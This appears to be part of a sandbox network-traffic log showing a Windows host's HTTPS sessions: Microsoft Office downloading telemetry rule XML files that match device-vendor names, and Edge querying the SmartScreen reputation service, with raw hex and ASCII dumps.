2024-10-29 05:59:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49815	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:27 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2760be74-301e-0096-200b-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055927Z-16849878b786fl7gm2qg4r5y7000000006bg00000000b0zc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49816	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:27 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:28 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 3a46b3a2-501e-008f-78cb-279054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055928Z-15b8d89586ffsjj9qb0gmb1stn0000000a8g000000009xk2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:28 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49817	104.40.82.182	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:28 UTC	734	OUT	POST /api/browser/edge/data/toptraffic/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiMzFBSWUweGN2Q1VQN2s5OG90dnpmdz09IiwgImhhc2giOiI2eS9iVHc5a1F3WT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "170540185939602997400506234197983529371" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-10-29 05:59:28 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-10-29 05:59:28 UTC	252	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:28 GMT Content-Type: application/octet-stream Content-Length: 460992 Connection: close Server: Kestrel ETag: "638004170464094982" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-10-29 05:59:28 UTC	16132	IN	Data Raw: 00 01 b7 32 6c 49 bd 35 18 3c 43 00 3b d3 7b 9a 00 08 16 f5 5f 2b 6a 45 e7 a6 60 9a c2 7d 9c 16 00 0c 2d 9e cc 04 23 e9 41 f4 82 16 a9 4b 52 db 00 0c 6c e3 4d 30 2c 73 87 bc fb 29 94 39 d4 c2 00 0c b4 d9 e2 eb e5 8f d8 b5 78 ca fa c6 82 9e 00 0c da 46 f1 62 1d cd 1e ab c5 cd 6a 55 ed dc 00 0e 79 d2 8a 68 27 a0 d5 e5 e5 89 bf 4c 3c 1f 00 12 2a 1f c4 5a 99 f8 2a 25 e9 2a 92 1a f6 5f 00 14 b2 67 12 34 79 75 12 bc d6 99 a8 99 1c cc 00 14 c8 bf 10 27 63 3d b9 cd 49 30 99 bf d3 a1 00 17 f8 9d 81 a3 94 71 57 f8 bf 3c 3a 4e ba d2 00 1a 3c bc a6 55 f9 2c 4d 69 94 e9 c9 5f b9 8c 00 1f 17 b3 27 28 0e f5 55 df 39 10 21 05 ce 96 00 1f bc ff bf d8 75 92 d1 13 89 37 0b 86 dc 34 00 20 98 bc 45 61 f8 b8 0d 34 2e 2b fb 37 39 6b 00 21 54 ca 2d 35 57 fb 9f 21 b8 d7 9a 40 2b Data Ascii: 2lI5<C;{_+jE`}-#AKRlM0,s)9xFbjUyh'L<Z%*_g4yu'c=I0qW<:N<U,Mi_'(U9!u74 Ea4.+79k!T-5W!@+
2024-10-29 05:59:28 UTC	16384	IN	Data Raw: b8 6c 65 b5 81 d7 e8 96 a2 f6 fb f5 08 e9 4a 27 41 5a ef 9e 20 88 b1 dd 92 43 f1 c7 08 f6 31 2a b4 6b b0 d0 7b af f2 6e c0 3b 30 49 08 f7 14 46 2e c2 8e a1 9b 56 f6 89 ff 89 a1 a1 08 f8 86 49 94 74 f7 df c7 92 d3 f1 d5 09 db a4 08 f9 bb 85 2c 48 b7 6a b2 fe 9c 06 4c 91 ba af 08 fb 12 e5 67 95 f2 51 95 31 42 c4 14 92 6c 77 08 fb aa 20 c5 0c 96 4a 9a 6f 2e 40 d4 2b fd 90 08 fe aa 92 f9 b3 b3 8f b8 65 27 9b b9 df 14 f7 09 00 34 db 44 0d dd 66 70 53 8f 0b 31 18 8b ba 09 05 38 28 fa 80 5f eb 56 83 46 d1 dd 83 34 b7 09 06 35 0d 42 c1 3f 91 ee 97 ed f4 31 68 37 32 09 08 35 c9 14 24 10 2f b5 80 ac f7 9a 16 e6 e2 09 08 7a 82 38 a3 08 0b 00 2c 62 9c d0 2e d2 c4 09 09 d1 da a7 a8 16 cd 89 e5 ac fe b9 cc 8e 69 09 0e 20 d3 38 58 e2 6b 84 a1 e7 75 97 ad 75 61 09 0e 4d Data Ascii: leJ'AZ C1*k{n;0IF.VIt,HjLgQ1Blw Jo.@+e'4DfpS18(_VF45B?1h725$/z8,b.i 8XkuuaM
2024-10-29 05:59:28 UTC	16384	IN	Data Raw: 88 ca 0d 74 ff b7 03 d5 0b 17 29 2e 12 86 39 8d 65 51 d1 6b 43 f6 37 a6 5e 4e 7e d5 12 8c a6 4c a1 b4 9a f4 6b 69 49 eb 0d 33 90 eb 12 8f 60 36 ec 98 cd 7f 6a 59 fe c5 d1 d5 4b 38 12 92 da 96 3e 8a fd ee fb c5 ac d0 29 b4 8e 13 12 95 25 87 d8 33 f2 c0 16 e8 0f 63 67 d6 78 d1 12 96 03 01 99 d8 95 ea 2c 0a f8 85 62 05 db 93 12 96 52 aa 59 60 de e6 e9 8c 23 d4 b7 c1 34 3d 12 96 bf ae d0 b9 c2 92 db f1 41 07 61 b1 82 5d 12 97 53 89 b5 7c fd 88 82 19 c7 b1 b0 0f af ed 12 98 30 32 6a a5 03 4e 26 db 95 be 1b a9 a3 e2 12 9a ea fe 35 92 c8 f4 3b 7a 18 36 80 cb 78 bf 12 9b 33 a3 9e d9 7b 54 c8 7b da 3b ed a8 dd 25 12 9b 98 d3 83 cc 49 8e 52 58 13 7e 3f 04 d9 af 12 9c 0d 11 dc 93 65 32 c4 f0 f6 a9 12 25 13 25 12 9c 28 31 10 8a f9 38 40 df 1f 08 9f 08 d4 71 12 9f 71 Data Ascii: t).9eQkC7^N~LkiI3`6jYK8>)%3cgx,bRY`#4=Aa]S\|02jN&5;z6x3{T{;%IRX~?e2%%(18@qq
2024-10-29 05:59:28 UTC	16384	IN	Data Raw: 8c e6 1b 88 d1 53 7d a1 f2 bc f6 d3 1b bd 38 be aa 88 bb f2 1c 05 de ac 2c b3 63 c3 1b bf d8 bc e5 a8 4c 42 a1 5e 7d 76 56 07 18 dd 1b c1 05 6e 7a a0 f3 27 8e eb 4f 29 e6 e0 a0 2a 1b c2 a1 45 60 4f 19 d0 fa 94 66 c2 31 56 e0 ac 1b c3 58 61 04 7c 91 76 1b 27 0c 2e 05 4d 26 17 1b c4 0f 81 e0 48 ff 13 e9 e7 fd ae 77 76 47 85 1b c5 d5 9a 68 ef 46 53 52 de 8b 1c 3a 7b 4f 53 1b cc c2 c4 df 4d dc 18 9f 1a a6 aa 47 f5 9f 2e 1b cd 8c 32 11 55 08 6c 9c 2f 0b 09 34 58 ca d2 1b cf 2c 48 15 0b dd b9 a9 cc 90 e8 14 76 e1 c7 1b d1 50 e1 1f 03 b2 ff 0f ab b3 c3 a2 cf c2 1a 1b d6 7a 97 41 b9 a0 2a 37 7b ba 9a 0a 00 47 56 1b da a2 08 31 23 96 3c 24 0a b0 10 2f 5e b6 c3 1b dc 15 6b ce f9 b8 64 db f8 fb 84 2a d6 02 9b 1b dc 58 1e e3 44 3f fb c2 e7 7f 97 d4 41 5f 1c 1b dc 83 Data Ascii: S}8,cLB^}vVnz'O)E`Of1VXa\|v'.M&HwvGhFSR:{OSMG.2Ul/4X,HvPzA7{GV1#<$/^kd*XD?A_
2024-10-29 05:59:28 UTC	16384	IN	Data Raw: 9c f0 8f 05 68 32 cf 23 af 0f e9 31 25 17 e2 83 8c a0 e0 45 41 22 69 ae 51 16 97 9e 25 19 94 88 65 65 22 da 5c e4 68 67 07 cf 5f 7a 25 1e 6a 2e 6e bf 40 39 a7 91 dd 9f 82 5c b4 be 25 21 01 14 90 ab fe fa c5 d4 0a 62 0b cd 30 e1 25 21 03 7a 48 db 3d 1f b8 bc 66 91 12 c8 41 7f 25 24 00 6f 09 69 7b 22 bc d0 5a 82 9d c8 cb 00 25 24 76 95 60 1f 20 bf 51 8e ef 43 af 74 27 17 25 24 d0 90 ec 4d 35 f3 3b 75 d1 b6 56 62 63 3e 25 25 bd 14 86 f0 f0 dc 12 c9 55 32 f1 85 66 4f 25 25 de ea a2 0c 7b b9 31 02 c3 fc 10 0f 92 23 25 27 0a 2e 12 37 63 79 36 e7 03 6f 4c 1e 67 7e 25 29 ef 20 dd 60 cb e0 1f 91 82 96 c4 38 ef d3 25 2c 0d 19 1e 65 a3 27 9b 58 e2 44 e3 80 93 37 25 2c e2 18 e3 78 51 0e b2 f9 62 26 e5 78 8f 9f 25 36 84 bd bb 8f cc a6 bc 42 a8 bf 22 b0 f1 a9 25 3a 54 Data Ascii: h2#1%EA"iQ%ee"\hg_z%j.n@9\%!b0%!zH=fA%$oi{"Z%$v` QCt'%$M5;uVbc>%%U2fO%%{1#%'.7cy6oLg~%) `8%,e'XD7%,xQb&x%6B"%:T
2024-10-29 05:59:28 UTC	16384	IN	Data Raw: b6 07 8f 44 9d 29 36 4f 29 8a 7d 80 2e 1d 98 b7 c7 17 54 cd a1 2b c2 e9 29 21 98 f9 2e 1f 4a 0d ee 13 3f 5a 00 ff e7 0d f0 d4 1c 86 2e 21 27 d4 ff 4a 83 22 1e 86 3f 93 6b 62 a1 0e 2e 25 e1 37 a1 70 d4 f6 b3 17 bd e9 dd 8d 2a 44 2e 26 32 0d f4 82 4c f6 14 9e 97 92 23 fa 52 37 2e 2a 40 96 f4 4d 34 89 21 f2 49 39 e8 d3 d3 19 2e 2b ef 39 f1 8a 4a 7e 28 b9 d0 be 00 6f 35 68 2e 2e 95 d3 bd e3 e7 a0 d6 d0 25 5e 0d b7 b5 a5 2e 31 ce 53 a9 54 e0 3b 3c 2f fc 4d eb 0f a5 e1 2e 33 1e 46 e8 3a 01 30 91 17 49 f3 33 11 46 79 2e 36 b7 bb 07 e4 6d 92 d5 42 49 d7 e5 49 f4 85 2e 36 e8 96 57 36 97 bb 40 7a 3b ca 8a e0 7e 53 2e 3a 1e f2 97 75 d6 ae 4f f5 85 eb 36 38 65 e5 2e 3a 59 df c9 6e 75 92 ac 40 ac 59 a6 fd e4 1c 2e 3b 8e 5c 94 1d 75 39 54 06 13 6b 6e 7f ef 30 2e 43 e8 Data Ascii: D)6O)}.T+)!.J?Z.!'J"?kb.%7pD.&2L#R7.@M4!I9.+9J~(o5h..%^.1ST;</M.3F:0I3Fy.6mBII.6W6@z;~S.:uO68e.:Ynu@Y.;\u9Tkn0.C
2024-10-29 05:59:28 UTC	16384	IN	Data Raw: 02 f3 ca e4 05 cb a0 be 15 69 62 32 37 3c 37 3b db 81 8a b2 df cf ef b1 79 3f f8 ae 37 3d a3 01 e8 95 76 a1 63 78 77 2e 93 42 3d 4f 37 3e c4 08 a5 37 4f 84 43 dc 19 00 a9 8f 2e 0d 37 3f 82 55 cb cd 06 b9 0c 0d 94 f9 4f d6 82 e8 37 44 09 28 b8 33 ef b7 ee 6b 4c 90 ee e0 d1 3a 37 44 83 9a 56 2d 6a 58 ea 6b e5 8f 6a 1d 17 23 37 47 0f 55 f8 2b 1c 30 89 3a 1d e2 21 89 b7 42 37 4b 86 38 d0 cd 9f 96 62 d8 da bf d5 15 ed cb 37 4e 81 34 2b 0e ea ab 6f ae 29 15 59 32 ae 46 37 50 d2 0c 2a e2 ca 59 ec 21 86 70 f9 7a 6c d1 37 55 32 b2 91 f0 e7 b8 47 d0 f7 0f 64 90 d9 51 37 56 ce 44 24 61 58 d7 f8 d4 0d 8b fe 3d b0 27 37 58 1f 24 d2 a5 24 9c d7 5c 5a 71 f9 e9 f2 a3 37 58 9d d0 f0 06 3a 05 be 08 d9 90 bc 18 0d 71 37 5d 04 71 81 05 8e b6 9b 24 f2 54 35 1b 18 46 37 62 eb Data Ascii: ib27<7;y?7=vcxw.B=O7>7OC.7?UO7D(3kL:7DV-jXkj#7GU+0:!B7K8b7N4+o)Y2F7P*Y!pzl7U2GdQ7VD$aX='7X$$\Zq7X:q7]q$T5F7b
2024-10-29 05:59:28 UTC	16384	IN	Data Raw: 30 9b b9 2f 98 88 40 3b cc 98 d2 59 40 6d c4 d7 67 2a f1 8a f6 d5 d3 92 a9 c6 13 1d 40 71 5f 29 26 14 e2 86 f2 b1 3c d6 fc 07 07 4a 40 77 d4 86 06 be 80 6f b2 fd e4 19 fe 6b 6a 94 40 78 4d f5 b9 67 58 78 83 29 63 04 29 22 98 8d 40 7a 85 3f 10 18 78 19 d3 be 45 8d 0e 49 7b bb 40 7b 5d c5 55 97 e5 9d 35 9d 27 93 51 1d be 21 40 7d 42 88 f1 ca 9d ba 2a 28 3a f8 72 71 ba c7 40 7e 4d cf f4 13 b8 8f f1 9c e6 e4 a8 50 74 d0 40 80 bb 51 db 04 52 b7 b2 f3 5f dc db 6d 4b de 40 88 e2 91 a0 6c 67 8c d2 0b 9f d2 91 ca 6d 22 40 8a b9 d3 6a f9 07 64 05 ea 52 dc 44 82 0b 38 40 8b 54 ce 67 df 8c a3 48 2d 96 f6 ed e4 cf 78 40 8e 78 fd f9 d7 db ac 12 a0 80 27 db 9f 14 42 40 90 00 78 66 ff 66 2b 58 9f 18 13 aa 3d 6e b3 40 90 fa a1 0b 8e ee 2b 73 4b 59 c6 c9 b1 84 9b 40 93 53 Data Ascii: 0/@;Y@mg@q_)&<J@wokj@xMgXx)c)"@z?xEI{@{]U5'Q!@}B(:rq@~MPt@QR_mK@lgm"@jdRD8@TgH-x@x'B@xff+X=n@+sKY@S
2024-10-29 05:59:28 UTC	16384	IN	Data Raw: 66 82 7d 26 60 5e 84 ec 72 2a af 39 49 bb 12 c2 0a 6a 68 a1 f1 aa 3c 93 f9 79 13 0e 49 bb 81 dd 8c 7e 5d 19 6b 54 60 33 c1 1e 70 56 49 bc df 84 ed 14 a3 5d 07 06 25 84 6a 95 02 e0 49 bd eb 48 24 83 1e f1 e0 29 fe 9e e6 22 da 07 49 c1 2d 65 e8 79 f6 32 c8 9b 5b 3f 1a a8 9d b9 49 c4 33 af 97 7a e9 a1 ba ed 12 d0 a3 40 1e 42 49 c5 09 f1 9f 2c bb 61 75 14 cf 80 9c 0e 85 9e 49 c8 81 16 cb ae 60 54 25 eb 75 fe e4 b5 16 8c 49 cc 62 7c 10 80 46 f7 71 86 18 7b bd ea 45 5f 49 cd ad e9 e7 ee e9 a2 7e 24 2e 10 93 70 b0 ad 49 d1 bc ac 01 05 b1 9b be b4 f8 4e e6 0c 0d ac 49 d2 4b be 25 0a bd 70 d0 f7 10 c2 d7 38 8b f2 49 d4 c5 71 4c 7f 7a 2a 83 c3 c3 50 d2 c2 4c 3e 49 d5 40 eb ee b7 40 f4 16 fe b4 e7 35 d0 25 e3 49 d6 e7 89 68 04 ba a1 f5 37 3f 51 0a 5e cc 25 49 da b4 Data Ascii: f}&`^r9Ijh<yI~]kT`3pVI]%jIH$)"I-ey2[?I3z@BI,auI`T%uIb\|Fq{E_I~$.pINIK%p8IqLzPL>I@@5%Ih7?Q^%I

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49818	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:28 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:28 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 41993aaf-d01e-0082-087e-29e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055928Z-r197bdfb6b47gqdjvmbpfaf2d000000001eg0000000000ak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:28 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49820	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:28 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5167a131-c01e-0082-697a-25af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055928Z-15b8d89586flspj6y6m5fk442w0000000bvg00000000bxp4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49819	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:28 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: d63b5638-a01e-0021-2ab4-27814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055928Z-16849878b786jv8w2kpaf5zkqs000000051g0000000046dp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
